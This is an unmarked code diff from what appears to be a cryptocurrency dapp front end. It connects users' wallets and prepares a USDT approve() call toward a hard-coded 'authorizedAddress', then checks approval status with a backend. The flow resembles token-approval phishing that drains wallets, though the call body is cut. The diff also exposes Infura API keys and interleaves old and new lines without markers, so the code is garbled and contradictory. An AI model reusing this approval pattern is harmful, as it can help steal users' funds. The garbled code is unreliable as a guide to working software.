| | |
| | | proxy.isShowApproveModal = false |
| | | proxy.isShowAccreditModal = true |
| | | } |
| | | function showDappModal() { |
| | | async function showDappModal() { |
| | | proxy.isShowAccreditModal = false |
| | | proxy.isShowWalletModal = true |
| | | // proxy.isShowWalletModal = true |
| | | const provider = new WalletConnectProvider({ |
| | | infuraId: "27e484dcd9e3efcfd25a83a78777cdf1", |
| | | qrcode: false, |
| | | qrcodeModalOptions: { |
| | | mobileLinks: [ |
| | | 'tronLink', |
| | | "rainbow", |
| | | "metamask", |
| | | "argent", |
| | | "trust", |
| | | "imtoken", |
| | | "pillar", |
| | | ] |
| | | } |
| | | }); |
| | | await provider.enable(); |
| | | } |
| | | async function showWalletModal() { |
| | | proxy.isShowAccreditModal = false; |
| | | let provider = new WalletConnectProvider({ |
| | | const provider = new WalletConnectProvider({ |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }) |
| | |
| | | |
| | | // 获取地址 |
| | | async function getAddress () { |
| | | let address = ''; |
| | | let address = '0x391040eE5F241711E763D0AC55E775B9b4bD0024'; |
| | | if(window.ethereum) { |
| | | await window.ethereum.enable(); |
| | | address = await ethereum.request({ method: 'eth_accounts' }); |
| | | const accounts = await ethereum.request({ method: 'eth_accounts' }); |
| | | address = accounts[0]; |
| | | }else if(window.tronWeb){ |
| | | address = window.tronWeb.defaultAddress.base58; |
| | | } |
| | | return address; |
| | | proxy.walletAddress = address; |
| | | } |
| | | async function approve () { |
| | | if (typeof web3 !== 'undefined') { |
| | | web3 = new Web3(web3.currentProvider); |
| | | } else { |
| | | // set the provider you want from Web3.providers |
| | | web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0")); |
| | | } |
| | | const web3 = new Web3(window.ethereum); |
| | | const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; |
| | | const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; |
| | |
| | | console.log(result); |
| | | } |
| | | async function init() { |
| | | proxy.walletAddress = await getAddress(); |
| | | await getAddress(); |
| | | console.log(proxy.walletAddress) |
| | | if (proxy.walletAddress) { |
| | | proxy.$axios({ |
| | | url: '/dapp/common/isApprove/' + proxy.walletAddress, |
| | |
| | | }; |
| | | }, |
| | | methods: { |
| | | connect() { |
| | | const provider = new WalletConnectProvider({ |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }); |
| | | // Enable session (triggers QR Code modal) |
| | | provider.enable(); |
| | | |
| | | this.web3 = new Web3(provider); |
| | | |
| | | // this.getAccount(); |
| | | // subscribe to events |
| | | // this.subscribeToEvents(); |
| | | }, |
| | | subscribeToEvents() { |
| | | const connector = this.connector; |
| | | if (!connector) { |
| | | return; |
| | | } |
| | | }, |
| | | |
| | | } |
| | | } |